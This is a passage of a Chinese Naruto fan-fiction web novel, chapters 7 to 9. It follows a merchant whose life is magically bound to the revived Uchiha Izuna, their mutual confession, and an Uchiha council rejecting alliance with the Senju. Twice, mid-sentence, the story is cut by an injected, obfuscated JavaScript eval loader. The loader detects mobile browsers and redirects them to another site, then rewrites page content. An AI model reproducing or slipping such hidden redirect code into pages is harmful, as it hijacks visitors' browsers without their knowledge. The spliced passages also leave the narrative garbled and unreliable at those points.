“啊……这个……”安池宫视线游移,没有焦点,就是没去看面前这群人。“也不能说没有,但也不算什么大问题。” “那——”泉奈刚要开口,就觉得膝盖一痛。坐在侧方的另一名火信长老在盯着他,示意他稍安勿躁。 泉奈:…… 他看向了旁边的兄长,就对上了对方的眼睛。宇智波斑的视线就没离开过泉奈,在发现弟弟终于注意他之后,勾起嘴角露出一个如释重负般的笑容。 泉奈:虽然您很重视我这一点很感动,但是……好的,我知道您现在派不上用场了,斑哥。 虽然他们两个是族内的一二把手,但现在的局势……明显已经不是用地位来区分,而是用辈分来区分。 辈分最高的树希长老在问话,就算是副族长也只能乖乖的在旁边干瞪眼。 但他真的很想知道安池宫的身体因此出现什么问题。如果有办法治好还好,没办法治的话…… 安池宫有些不自在的摸了摸后颈,依旧看天看地不去看面前这些人,尤其是树希长老,更是害怕对上她的视线。 好在这位忍者长老并没有在意他的态度。这也让安池宫能够继续开口:“那叫安命蛊,具体怎么到我身上的我也不清楚。” 没撒谎,因为能得到它是真的很有侥幸的成分。直到得到手的两天后,差点死掉时激活了它,才知道这玩意儿在他身上。他当时是真的以为自己失败了。 “总之,经过我个人的实践,它能增强我的自愈能力,而且……有不死的力量。也就是说,只要有它在,就算是被腰斩也死不了,努努力缝回来就行了。” 其他人:…… 大家的眼神不由得落在了泉奈身上。泉奈直接选择闭上眼睛,拒绝被人看穿自己的心思。 好在大家也就是这么看一眼,很快就抽回视线,继续看向安池宫。 斑抿了抿唇,总算是勉强从弟弟失而复得的狂喜之中拉回一点心智,他道:“那现在安命蛊是……?” 这么一个保命的东西,该不会被他送给泉奈了吧? 虽然安池宫之前说要入赘的时候,他就欣慰着弟弟的感情没有被辜负,可……可他再迟钝也知道这两人其实之前没在交往。安池宫连这样重要的东西都能给泉奈,就不是辜负不辜负的问题了,简直沉重到和他们宇智波是同脉! “啊?”安池宫看向了斑,道,“当然是他一半我一半啊。” “啊?”斑瞪圆了眼。 安池宫:“本来是一体的,现在分开了。也算是幸运,他没死多久,若是腐烂了或者火化了,有安命蛊也没用。影响肯定是有的,就是只要我不死,这小子就不用担心自己会死。相对的,他只要别死,我就能活。” 他无奈的叹气着:“我也没搞懂这个蛊到底是怎么回事,本来就是试一试的心态罢了。” 试一试,说不定能拼回来呢。 没拼回来,就变成渣蛊左拥右抱了。 想享受两个大美人的齐人之福,它也不担心自己累死! 斑差点没笑出来,因为在消化完这段话之后,对他的意义太大了。本来弟弟遭遇一次死劫,就是活过来了他也心有余悸,现在可好,两个人的命绑定了。虽然需要保护的人变成两人,但也可以变成一个人。 除非是想殉情,不然总不能两个人同时间一起死吧。而且殉情这种事大可没必要,谁敢拦着他们在一起,宇智波斑能把对方锤进地核里,就是千手柱间他也一起锤! 斑难得在弟弟以外的人面前露出笑脸,喜笑颜开的说:“那也不算什么影响嘛。你小子刚才还说得那么严重。” 安池宫无语的看了他一眼,又看了眼瞪着一双红眼睛的泉奈,没好气的道:“影响就是我们两个大概率不能离太远。我不知道泉奈你有没有感觉,分成两半之后,你待在我附近的时候我体内那一半会有反应,所以短时间内我们两个最好一直待在一起,估摸着应该是蛊分裂之后,需要两边一起调和才能修复运转。这个修复时间还不能确定,可能一辈子就这样了,也可能过段时间修复得差不多后,还能暂时分开一段时间,但基本还是和绑定没两样。” 他啧了一声,又一次别开头,哼哼说道:“反正你们问我再多也没用,我知道的都说完了。我这可是亏大发了,泉奈你小子也觉得不是什么好事吧。就算你看我不顺眼也没用,先说好,我这人从不受气,你要是敢因为这件事给我气受,大不了干一架,就是会死,老子也要先把你干死!” 忍是不可能忍的,有气是当场发的!有桌也是当场掀的! 泉奈:…… 他受不了的无声朝着这群死盯着他看的族人亮出天照,黑色火星在这群人面前转悠来转悠去。 反正四舍五入他也等于拥有永恒写轮眼,不用像以前一样用个天照还得精打细算,才会被千手扉间那个混蛋得手!下次碰到,第一时间先烧死! 而现在,再继续盯着看,少说也要烧掉一两个! 斑盯着弟弟那双红得只差滴血的耳朵,心情有些微妙。本来是没想歪的,毕竟安池宫说得很认真,但架不住有人会想歪…… 没办法,谁让这是自己的弟弟呢。守了半年没下嘴,唯一嘴到的那一次他还直挺挺躺着呢,估计都没啥感觉。 斑无奈的抬起手,按了按弟弟的脑壳,还用力揉了揉,差点没把对方的束发给揉散。 一群人都没注意到九梨已经悄然将手按在胸口处。 安池宫没管他们的心思,他心里在盘算着另一件事。问看起来就是主持大局的树希长老:“那现在还有什么问题吗?” 树希长老摇头,揶揄的看了眼泉奈,笑着说:“没问题了。年轻人嘛,火力旺很正常,我们都理解的。” 安池宫只当是这是在说他刚才直接跟泉奈呛声只差威胁的事,见这些人不像是动怒的样子,心中提着的石头也算是坠下来。 不能和泉奈分开太远这件事也没撒谎,裂成两半的和完整的始终是不一样的,如果双方能和平相处的话,自然是皆大欢喜。 人家副族长等于拥有了不死体质,而自己的商会也能有个大靠山。 不过……这群忍者对于‘不死’和‘复活’这种事,好像没有自己想象中的那么大反应。 该不会忍者也有相应的忍术吧?想到忍界血继限界千奇百怪,还说不定真的有。 连瞪个眼睛都能冒火呢,再离奇的事情也会发生吧。 再一次肯定自己来到一个天堂的安池宫,非常娴熟的从外衣里袋里掏出了自己的玉算盘,开始啪嗒啪嗒快速的拨算起来:“那既然这个问题过去了,就轮到我这边的问题了。我来算一下哦,安命蛊的共享费用,被耽误的时间精力,还有担心超时睡觉的精神损失费,哦,刚才那群忍者下手可真狠,差点就被手里剑戳到,这个也算精神损失费。对了对了……” 啪嗒啪嗒拨完,安池宫抬头看向目瞪口呆的这群人,尤其是对着泉奈,他半眯着眼睛很是认真的说:“初吻的费用也结算一下。虽然是救人,但那也算是初吻。先说好,我可是正经人家的好男子,清白可是很重要的。” 算是时隔两个月的怼之前泉奈嘴贱说他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156249|164954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想改行的仇。 唯独不想被这个小子误会! 他这人可是很洁身自好的!谈生意都不怎么亲自出面,客户想约他去吉原谈生意套交情,他都能反手给对方贴个‘有花柳病’的标签,坑得对方体无完肤! 奸商的本质是不可能改变的,最多就是泉奈有气无力的说了一声:“这笔账算不了,我们算扯平。” 安池宫手里的算盘差点摔在地上,震惊的道:“不可能,你可是忍者!” 泉奈总算找回了一点平日这小子不着调时如何敷衍应对的从容。“在你心中到底把忍者想象成什么?” “为了任务不择手段,而且还会变身术,为了获取情报牺牲一下,牺牲自己的身体不是很正常的事情吗?” 泉奈:“……” 额头的青筋一突一突的:“宇智波只接国战、平叛、暗杀的大型委托,护卫工作都很少接。就算是收集情报,那也有幻术。根本不用牺·牲·清·白。可能在其他小忍族那里会发生这种事,但在宇智波,绝·无·可·能。” 安池宫嘴巴张了张,哦了一声的低头。正当泉奈想质问他‘哦’是什么意思的时候,就见到对方开始拨动算盘,嘟哝着:“那没办法了,这笔是我倒欠你的。我那也不算是初吻,初吻给钱多多了,你哥来晚了,不然这笔钱我不用给你。” 虽然做生意奸了点,但意外是个公道的。不过这种公道……泉奈现在不是很想要。 他已经冷汗直冒。 “钱多多?”斑起身,惊讶的问道,“你今天有看到水矢,那只猫吗?!” 安池宫疑惑着怎么有另一个名字,但还是嘴快的说:“看到了啊,不过你来之前它就走了。那只猫有点渣,一天到晚就知道瞎舔,最近还好几天不回家。不过是猫嘛,没必要计较太多。”虽然让他损失了一大笔钱。但没关系,他可以从其他名头里让宇智波还回来,现在是他的主场,他能算到这群忍者找不到一丁点反驳的理由,乖乖主动的掏钱。 一条副族长的命呢,N条命呢,总不能说他们堂堂大忍族的副族长不值钱吧。 斑抖着双唇,一个字都说不出来。单手捂着脸,缓了一下道:“这可真是……好险。” 如果他知道弟弟已经用忍猫的方式和对方告别,还真不一定会将安池宫带回族地。毕竟去的时候他已经做好了对方不会答应,并当场否定那份感情的心理准备。 如果安池宫当时这么做的话,他真的无法保证自己会不会盛怒之下杀了对方。他不想杀死自己弟弟喜欢的人,所以在见到对方之前,已经无数次的催眠自己就算是被拒绝也不要动手。 但也因为他去了,一切才有了现在的结果。 毕竟……如果不是他主动告知安池宫弟弟死亡的事情,对方可能要到很久很久甚至这辈子都不知晓。就算是找到了宇智波族地这边,那时候弟弟都下葬许久了,有安命蛊也没用。 安池宫:? 这时候,火信长老总算是反应过来,看向泉奈:“他说的钱多多是水矢?那不是你的忍猫吗?” 五感共调的,关键时刻还能互换位置的忍猫,与泉奈的分/身也没什么两样了。 你连忍猫都派到人家身边去了,结果还没开始交往?还没把人家娶进门?你没事吧!!! 泉奈死死抿着嘴唇,冷汗都把刘海浸湿了。但担心的事总会来—— “你的忍猫?”安池宫震惊的道,“你就是那个倒霉的铲屎官正宫啊?” 白白养了那么漂亮干净还贴心的猫,结果便宜了他这个外室的倒霉蛋! 但忍猫是忍者的召唤兽,是有一定实力的。也就是说这小子…… “你都知道派忍猫来保护我了,为什么三番两次不同意我想长期委托宇智波的事啊!你但凡说了,我说不定还不用想着下这个委托!” 安池宫立马开始甩锅,先把自己想委托的事情变成对自身安全的担忧,而泉奈补上了这层安全保障,那他就借题发挥,反正试一试,看能不能让他们接下这个委托吧。 试试而已,一点都不亏!非但不亏,还可能血赚! 泉奈不说话,他在非常焦急的组织语言。这话题歪楼的程度已经损伤到他的名誉,损伤名誉不重要,当时没忍住舔了一下,一旦被安池宫知道忍猫和他的关系,指不定心里怎么想他。 这小子之前还想着他靠出卖色相获取情报这种事呢!他的脑洞就压根不能指望! 还没等他组织完语言,就听到一声重物落地的声音。 九梨双手捂着脸,岔开的手指缝,赫然是一双几何图案的万花筒。 她瞳孔收缩,剧烈震动,身体颤抖得十分厉害,粗喘之下,汗水也在挥发。是真的在挥发,连同半边的身体都像是汽化一样,室内的温度都在升高。 有经验的人都能感觉到这应该是对方万花筒的特殊能力。 九梨的眼泪成串,沿着秀丽的面庞滴落,双膝跪在地面上,呜咽着说:“好……好虐,呜呜呜,带玻璃渣的,好痛,有被甜到……” 其他人:……不是,你一会虐一会痛还带甜的,你到底在说什么? 到底发生了什么事情让你能开万花筒啊!这里没死人啊!也没又复活了一个啊! 安池宫眨了眨眼,想了想,恍然大悟:“什么啊,原来你好这口啊。”虽然不明白为什么九梨的眼睛图案变了,但这种事不重要。 涉及到生意,他非常认真的对九梨大声保证:“虽然我底下没这业务,但如果你出得起钱,也不是不行。想要什么类型的小说,白月光替身梗?虐身虐心挖肝移肾?强制爱?小黑屋?SM?精神pua?还是说人尸恋?只要你想要,我都写得出来!” 写不了就抄! 在原来世界里偶尔也是有休息时间的,这时候小说就是最大的慰藉,而且面对的副本类型基本都阴暗血腥附带精神攻击,看虐文就成为了大家增加抗压能力的最经济实惠的渠道。 大把没什么实力又想赚积分的人在这个赛道卷得飞起,神作都泛滥了! 九梨:…… 其他人:…… 门外一些听力好的宇智波们:。 那个,大体上听懂了那都是什么小说,但是……涉及的类型是不是有点不太友好。还有人什么尸的……? ——这也行的吗?! ——所以副族长不是单相思吗?!可尸体也行的吗? 难不成以后除了族长和副族长之外,也要担心副族长的夫婿会不会偏激黑化吗?! 8. 第 8 章 最终买下这些小说的不是九梨,而是阿曼长老。她是能理解树希长老觉醒万花筒的理由,毕竟那很可能是事关家族存亡未来的事情,而树希长老非常重视家族。 但她不能理解九梨为什么会觉醒万花筒,万花筒又不是什么大白菜,怎么能脑补个小说就觉醒了呢?而且大家在聊着正事,这丫头怎么有心思脑补到小说去? 阿曼长老是九梨的姑姑,她觉得自己有必要去搜查一下对方的房间,将那些乱七八糟的话本小说给没收了。 安池宫自然没意见,反正只要有钱赚就行。对他来说抄录一下小说不过是花费点时间罢了,大概剧情他记得,不记得的随便描补一下也够糊弄人。 宇智波家是真的财大气粗,这钱赚得一点都不亏。 阿曼长老看着安池宫的眼神很是复杂,她说:“前头那些类型就行,人……那个就算了。”后面那个字怎么都说不出口。 她就奇怪面前这小伙子长得人模人样的,怎么会有那方面的癖好呢。看了眼斑和泉奈,泉奈面上看着没什么反应,就是耳朵红得更厉害。 阿曼长老:……情窦初开的毛头小子就是没出息,被你爽到了对吧? 再看斑似乎一副快要碎掉的在做着强烈心理挣扎的模样。 阿曼长老:……我衷心希望你不要脑补一些尸体防腐的手段来达成这种可能性,并无比庆幸泉奈复活,还和安池宫绑定了性命。 脑补能力十分强,还十分擅长脑内吐槽的阿曼长老,表面上看起来还是很严肃的一个人。 安池宫问:“人尸那个不要,那人鬼恋的要不?这个也很精彩哦。” 斑猛地回神,认真的说:“这个可以。” 阿曼长老瞪了他一眼,对安池宫说:“人鬼恋这个男男、男女和女女都要来一本。尤其是女女的,我年纪大了,来点成年人能看的。” 安池宫惊奇的盯着阿曼长老瞧,硬是没能看出一丝一毫不正经的成分。只能够在心里吐槽一声‘好能装啊’,就应了下来。 敲定一项新业务是意外之喜,但离午夜十二点就只剩下十三分钟。安池宫……看向了泉奈。 泉奈努力绷着表情,说道:“我带你去休息。” 虽然等下还有会议要开,但他完全可以等明天火核向自己汇报会议内容。他复活了,自己和斑哥等同于都有了永恒写轮眼,族内又多了两名万花筒持有者,战力可谓是升了不止一个台阶。 这么振奋人心的消息,自然是要和族人说一声开心一下。而且之前族人们在的时候,虽然有一半心思落在安池宫身上,另一半也放在观察族人身上。 还真观察到里面有两个年纪不大的族人开了一勾玉写轮眼。 这些变化桩桩件件都跟安池宫脱不开关系,但鉴于对方不是个忍者,对写轮眼估计也认识不深,那就只能由他们这边来深度分析对方一言一行之中到底哪里促成了这些写轮眼的觉醒和进化。 若是能找清原因,说不准还能多增加几名觉醒的族人。虽说写轮眼是血继限界,但也不是人人都能觉醒的,族里没开眼的人还不少。 安池宫跟在泉奈的身后,由对方领着自己去九梨之前说的那套宅子。一路出去的时候受到很多宇智波隐晦的打量侧目,他没在意,作为一个十分在意自己外貌形象的人,他早就习惯了这种注视。 就是泉奈好像不太喜欢,他都看到对方直接瞪眼警告了。挺有效的,一个个都像是惊弓之鸟一般的一窝蜂跑进了会堂。 “你在族里的威望还挺高的嘛~”安池宫如此说道。 前头的泉奈道:“那也是因为我的行为是正确的,他们才会信服。” “这样啊……”安池宫没再多言。而是坠在他两步之后,从后方打量着泉奈。 对方穿着白色的丧服,单薄的一件丧服,就连鞋子都没穿。光着脚踩在走廊上。看这样子是不需要下地了,安池宫看到跨过会堂的回廊,后边就有一套很气派的宅子。 那里应该就是泉奈和他哥一起居住的宅子吧。族长的宅子和会堂靠得近,位于中心区,也很正常。 但从外面看,宅子并不大,估计人口不多,也没有请什么佣人。不过忍者嘛,也不用勉强自己过着大户人家的生活,若是家里佣人成群的话,估计还住不安心。 安池宫想了想,往前迈了一大步,与泉奈并肩而行。他的位置是朝着回廊外方,恰好能挡住夜风。 泉奈看了他一眼,安池宫咧嘴一笑,还没说什么,对方又扭头继续看着前方。 安池宫:…… ——这小子该不会真的对绑定这种事生气吧? 他觉得可能性很大。本来作为副族长,他应该要留下来主持会议,他那个哥哥看起来就是个语死早的,没有嘴替就是不行。但作为忍族的族长,实力够强就得了,其他方面不用太注重。 明明有重要的族会,还为了迁就他要睡觉这件事而缺席,就是安池宫都觉得有几分心虚。 “你能感应到安命蛊吗?”他问。“就像是大脑有什么东西痒痒的,发热的感觉,也不会痛,有点像在做按摩,还挺舒服的。” 泉奈对他乱来的形容不发表意见,只是诚实的道:“不能。” 一丁点都感应不到。但他知道安池宫没撒谎,所以就只会在自己身上找原因。等这人睡了,他会自己来探究这个问题。 “这样啊……”安池宫觉得他今天话比平时少,想了想说道,“你是在介意你哥说的恋人那件事吗?” 泉奈:…… 他突然加快了脚步。安池宫不明所以的跟上,絮絮叨叨的道:“干嘛这副态度,是你哥误会了,我也不知道他为什么那么想。先说好,这事真不能怪我!我可从来没这么想过!” 他就差举手表决心了。 泉奈斜睨了他一眼,又扭头继续看着前方。安池宫等了一会,泉奈还是一声不吭,顿时胸口就像是堵着一团棉花,也识趣的闭上嘴,不再试图搭话。 ——果然是误会了吧。 安池宫莫名觉得胸口堵得更厉害。 但是——如果不是泉奈表现出什么的话,为什么对方的兄长会误以为他们在交往? 而且还把自己的忍猫都派来保护他。算算钱多多出现在他身边的时间,是和泉奈初遇后,第一次正式见面谈生意的当晚,那天他还送了对方一条发带。 长达半年的时间,钱多多就跟自己养的家猫没两样。 可既然是误会的话,安池宫想到自己之前和斑说的,什么要入赘当未亡人的话语,顿时就心里虚得像是有狂风在吹。 糟糕——这小子应该还不知道这件事。现在都在生闷气了,等知道这件事后,岂不是要跟他玩冷战那一套。 虽然刚才说出了那番硬气威胁的话,但真要让他和泉奈动手的话,安池宫觉得还是算了。主要是对方的眼睛会喷火,那黑色的火焰一看就很危险,就算是不死,他也不想被火烧。 可继续这样下去也不是办法。 泉奈开了大门,带着他往里走去,走到一个和室前,推开拉门,并打开了电灯。 和室的格局一览无遗。非常整洁干净,甚至可以说得上是空旷的和室。基本什么东西都没有,估计是收进壁橱里了,这里明显就是一个只用来睡觉的地方。 安池宫猜出这里应该是泉奈的房间,因为墙角的衣架还挂着一件绘着宇智波家徽的宽领长袍,一看那尺寸就是泉奈穿的。 安池宫见他踏进了和室,他没跟进去,只是站在外面。终于忍不住的道:“泉奈,你眼睛以后是一直这个样子的吗?啊,我不是说这双眼睛不好看啦,我觉得挺好看的,但我听说写轮眼不能一直使用,要不你变回去休息一下?” 泉奈打开壁橱的动作一顿,听了这话后扭头看了他一眼。那双猩红色的万花筒写轮眼,直视着安池宫。 安池宫却是下意识的移开视线。 在泉奈的眼里,这个站在灯光之下的男人,露出似乎有些窘迫的无所适从的模样。 泉奈默不作声收回了视线,从壁橱里取出自己一套蓝色的和服,这是他平日里睡觉穿的衣服。随后就拉下衣领,露出细长的后颈,衣领刚坠到肩头,另一只手还没来得及扯下腰带,就听到外面有什么重物倒下的声音。 他往后一看,就见到安池宫坐在院子的沙地上,看样子就像是后退的时候没看路,摔了下去。 他几步上前,还没来得及开口,却见到对方罕见的露出慌乱的神色,双手死死的捂着眼睛的部位,脸颊酡红,耳根处也是通红一片。 本来皮肤就很白,在月光和灯光的照耀下,就更为明显。 安池宫悲鸣一般的说:“换衣服也要先、先打声招呼吧。你里面什么都没穿吧!”是在抱怨,而且还是很大声的,像是掩盖什么的控诉般的语气。 泉奈定了定神,道:“底裤还是有穿的。而且都是男人,你干嘛这副样子。” “这、这样的吗?”安池宫看起来不像是松了口气的样子,道,“那你快一点,我赶着睡觉呢。” 泉奈微微歪头,看到他这副样子,也没吭声。 安池宫听到了细碎的像是换衣服的声响,过了一会,又听到木屐踩在地板上,又踩在沙面上,朝着他的方向走过来的声音。 他顿时呼出一口长气,放下了双手。可他看到的并不是已经换好衣服的泉奈,而是袒露着玉白的胸膛,上身布料堆积在腰间,单手拎着蓝色和服的泉奈。 对方居高临下的,面无表情的用一双万花筒注视着坐在地上的他。 那眼神微微颤动着,就好像是在审视着什么一样。 安池宫听到他说:“我喜欢你,池宫。” 安池宫本来蔓延到脖颈的红晕,在听到这番话后,热度快速的消散,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156250|164954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣愣的仰头看着泉奈。 过了好一会,他抖着嘴唇小心翼翼的说:“你……瞎了?” ——不是,看起来眼睛没问题啊?年纪轻轻怎么就瞎了呢!!! 好不容易做好心理建树强忍着羞耻的泉奈:…… 他头疼的叹了口气,别开脸不去看安池宫。安池宫越发小心翼翼的,视线只敢落在他的侧脸处,问:“你、你怎么了?不舒服吗?脸色有点难看。说起来你是不是太瘦了,明明没见你少吃啊,还是说在家里吃得少?谁做的饭啊,那么难吃的吗?要不我把我家厨娘送过来?” “安·老·板——” 泉奈一字一顿的说着,终于舍得回过头看着他,一双写轮眼死死的盯着安池宫,脸上的笑容却十分灿烂,声音非常柔和的说:“我问你答,多说一个字,我真的会忍不住打你哦~~” 那婉转的尾音,真切的让安池宫感觉到杀意。 他下意识的直起上半身,乖巧的跪坐。 泉奈不是第一次说过要打他了,虽然每次都没打成功,但已经足够让安池宫有了肢体本能反应。 生气起来……真的超凶的。笑得再好看也很凶。 安池宫死死的抿着唇,抵着头搅动着手指,一副做错事的模样。 泉奈已经不会被他这副装傻卖乖的样子欺骗了,每次只要心虚这小子就是这副样子,纯粹就是为了靠示弱,来换取他人的心软。 证据就摆在眼前,看起来很老实,脸的角度刚刚好露出侧脸45度,配上那张脸,简直就是在进行惨无人道的颜杀! 泉奈继续温声说:“我喜欢你,听清楚了?” 安池宫老实:“听清楚了。” 泉奈:“那后天就举行婚礼,你入赘宇智波家,没问题吧?” 安池宫本来下意识的想点头,毕竟现在气氛是真的很紧张,他都能感觉到自己说错一个字对方真的会下手打他。 但头点到一半,终究还是忍不住抬头,瞳孔地震的道:“你这是真的瞎——” 未尽的语言,被封存在相贴的温唇之中。安池宫只感觉到温热的吐息落在他的脸上,有什么存在像是试探着一般的,缓缓的轻轻划过他的舌尖,又飞速的抽离。 安池宫肢体僵硬的做不出任何回应。只是呆愣愣的看着泉奈在做完这件事后,往后退了一步,右手的手背抵着晶莹的双唇,视线飘移的看着侧方,如朝霞泛红的面庞,眉间难掩涩然的恼意。 是在生气,但生气的理由好像不是安池宫推测的任何一种。 他听到对方用微哑的嗓音说着:“别总是让我重复这句话……我喜欢你这件事,从来就不是需要一遍遍去确认真伪的判断题。” 他轻轻的咬着唇角,就像是干脆豁出去一般的说着:“知道这一点的话,就不许再逃避了,胆小鬼。” 说完他干脆也不去搭理安池宫,转身就朝着卧室的方向走去,关上了门,从纸门的倒影可以看出来,这回是真的在换衣服。 安池宫在原地坐着,过了好半晌才像是回神过来的伸手捂着自己的嘴唇。 上面残留着的温度和触感,告诉他方才并不是梦。 汹涌澎湃的,理不清的情绪一股脑的冲过脑门,一路在体内横冲直撞,最终汇入了灵魂之中。 他发出无意义的音节,单手捂着脸,面红耳赤,只觉得全身都像是泡在热水之中,滚热得像是要被烫伤。 连自己都觉得像是个笨蛋一样的,慢慢的蜷缩起膝盖,脸埋在上方,久久无法回神。 ——所以,不是误会啊。 ——可恶,竟然被抢先了!那句话明明是应该我先说的!!!不要在这种地方展现自己的帅气果断啊! 寻根究底,虽然安命蛊意外分成了两半,造成了连自己都意外的结果。 但是、但是只要拼起来之后,再完整过给他人的话,安命蛊也能起到起死回生的作用。 前面那个他是真的不知晓原理。但后面那个他是知晓的。 从一开始就没想过放任你死去的这件事好不好。 明明目前所有的一切,都是顺着他最期待的方向发展,但果然…… 他猛的站起身,朝着屋里的人大声喊:“宇智波泉奈——” 不远处的会堂,正在开会的一群人就突然被这个大嗓门惊了一下,斑当即站起来,快步来到窗前,刚打开窗还没冲过去就听到接下来的话。 “我喜欢你——这样的话应该是我来说的吧——我喜欢你啊——放眼全世界,就喜欢你一个啊——” 声音很响亮,传得很远,树上的乌鸦都被吓飞了不少。 会堂一片寂静,只能听到外头某人一遍又一遍,就好像要把嗓子喊哑才罢休的重复着这样的话。 众人:…… 不就是谈个恋爱嘛!为什么搞这么大的动静啊!!!你俩赶紧结婚别闹了!!! 9. 第 9 章 泉奈和安池宫刚离开会堂不久,宇智波一族的族会就开始了。 宇智波目前的情况其实不太好,之前与千手的一战之中,宇智波泉奈被重伤。本来战场上二族之间千手就隐隐占据优势,随着泉奈被重伤,两族的差距迅速加大。 在预判到继续打下去会是什么结果后,宇智波很干脆的就投降了。投降这件事虽然屈辱,但好歹能避免更多的伤亡。且虽然两家已经分出了胜负,出于忍界的默契,千手家也不能对投降者做得太绝。 毕竟这次两族开战并非因为私怨,而是互相身负的是国战的委托,而不是灭他族的委托。公私这块还是要分清的,不然会破坏行业规矩,赶尽杀绝那一方也得不到什么实质性的好处,雇主又不会因此加钱。 且投降不等于就束手就擒、放弃抵抗,若是千手家赶尽杀绝的话,只会等来宇智波濒死反击,到时候就算是被灭族了,千手家也得被撕下来一大块肉,元气大伤,自此没落。 千手柱间的实力在千手家是断层的强大,但其他千手族人的实力没比宇智波族人强多少。 所以即便是两族之间已经到了水火不容的程度,千手家也保持着理智,投降的宇智波没有遭遇什么难堪的苛待。 按照规矩也就是答应一些条件,赔款又或者放弃这片区域,迁居他地罢了,但这么做的话,大体就是走上前头羽衣家的后路。 原本高高在上的大忍族,会因为这种事失去大名贵族们的青睐,所谓站得越高摔得越重,之后很难再重振家族士气,更甚至只能缩减规模。 所以在千手家没有提过分要求后,当时的宇智波一族是松了口气的。 但千手柱间让宇智波斑考虑两族结盟之事。 扪心自问,没有一名宇智波家真心想与千手家结盟。千手仇视他们的原因是诸多族人死在了宇智波手中,但宇智波难道就没有族人死在对方手里吗? 原本千手和宇智波是分别居于火之国和雷之国两地,在两族随着各国大名的战争越演越烈而被分别雇佣对上之前,他们两边都从未经历过如此惨重的族人伤亡事件。 这种伤亡程度和以前的规模是不一样的,族人伤亡过于惨重,导致仇恨升级。 可之前的投降,加上之后泉奈的死亡,也确实不可避免的让宇智波家内部的反战情绪越发高涨。甚至有人想着结盟好过继续相斗,死更多的族人。 毕竟两家都是大忍族,结盟之后只会是强强联合。 但现在情况不一样了…… “千手家是笃定了我们宇智波会和他们同盟吧。”一名族人冷笑道,“之前确实是失利了,但战争这种事,只要一方不被彻底的消灭,那就还有挽回的余地。” “没错,现在族长和泉奈大人都不用担心万花筒会失明的风险,树希长老和九梨大人也都觉醒了万花筒,再次对上千手,结果就大不一样了!”另一名族人赞同着前者的话。 族人们战意蓬勃,即便是之前再沮丧低落,再厌战的人此时都是信心满满。家族的士气前所未有的高涨。 “千手柱间咬死我们宇智波家不放,就是为了和我们联盟,以他的性格不达目的很难罢休。”火信长老倒是没有将不结盟的话说得太死,而是对斑道,“族长,五天后便是与千手一族谈判的日子,您怎么看?” 宇智波斑静静的听他们讨论完,才沉声说:“宇智波不会和千手结盟。” 虽说他和千手柱间拥有共同的平定忍界迎来和平的理想,但两族结盟这种事,如果没有出泉奈死亡那件事的话,或许还有点希望。 但首先泉奈是坚决反对结盟的。 其次泉奈死亡之后,他恨死了千手扉间,比起什么结盟的他更想杀死千手扉间为泉奈报仇。 但因为安池宫的缘故,现在的情况又大不一样。 泉奈复活了,而且变相拥有了不死的体质,家族又多了两名万花筒,再加上他和泉奈的万花筒,与千手一族之间的差距已经补上。 但泉奈复活是一回事,千手扉间确实夺走了他弟弟一条命,加上泉奈不可能同意结盟,那对于斑来说,就是彻底坚定了不结盟的心思。 与千手柱间共同的理想虽然心动,但他想要和平的初衷是为了守护自己仅剩的弟弟泉奈,两族的结盟反倒是违背了他的初衷。 某族长在经历失去弟弟的刺激之后,往无药可救的弟控之路越走越远,泉奈不同意的事情,他是坚决反对。 “不结盟,但可以签订双方和平共处互不侵犯的条约。”这一点也是千手柱间提出的条件之一。 而比起结盟,显然后者这个条约对宇智波们的反弹没有那么大。毕竟打来打去,他们是真的太担心会再失去亲人了。势均力敌或者差距不大的双方开战,就算是大忍族也吃不消。 “签订了这份条约,就说明以后哪国大名雇佣了某一家的话,另一家就不能接对方进攻国的委托。”树希长老淡淡的道,“对家族的利益损伤不大。顶多就是进账比现在少一些,但可以从其他类型的委托弥补。而这影响对于千手家来说,也是一样的。” 国战单子是真的很吸金,不然也不至于让他们和千手两族在明知道双方对上会损失惨重的前提之下,还都毫不犹豫的一次次的接这种双方对抗的单子。 之所以会出现这种情况,也是因为两族是忍界并列的家族,雇佣一方就唯有雇佣另一方才能够对抗。若是其中某方不乐意接了,那大名们会倾向于委托其他的忍族,就算是多雇佣几个忍族,加起来的价钱都不如雇佣这两家的高。 那些大名也不是钱多烧得慌。 “但就如刚才火信长老说的那样,千手柱间性格顽固,如果单纯签订这种条约的话,他还是会用各种方式寻求同盟。”阿曼长老看向斑,“族长有什么对策么?” 斑点头:“在谈判那天,我会向千手发起挑战书。” 阿曼长老愣了愣,思索后点头道:“这个可行。如果泉奈死亡,我们二族又没有多出两个万花筒写轮眼,形势是对方比我们强。千手气焰嚣张,肯定会步步紧逼,直到我们答应同盟,又或者我们家族被他们用慢刀子削弱。而如果下达挑战书,双方派出一定人数的精英比试,不管是团战还是单打独斗,点到为止的前提下,挽回之前明显的败势,那千手柱间也不敢过于放肆。” 她觉得用放肆来形容千手柱间很恰当,因为每次看到对方那副占据优势提出结盟的态度,都让她觉得很不爽快。而且那种固执见多了,总会生出几分逆反心理的反感。 如果是以败势的前提结盟,想也知道宇智波在结盟中的地位要劣于千手。对于自尊心强的宇智波而言,这是他们不想面对的情况。 不然厌战心也不会来得这么晚。但凡平等一些的态度,考虑到族人和家族,说不准几年前就同意了。 毕竟对于宇智波来说,家族和族人才是最重要的。 但如果在这次挑战书中,宇智波强于千手又或者双方持平,那之前投降所影响的声誉就可以挽回,也可以安族人的心。 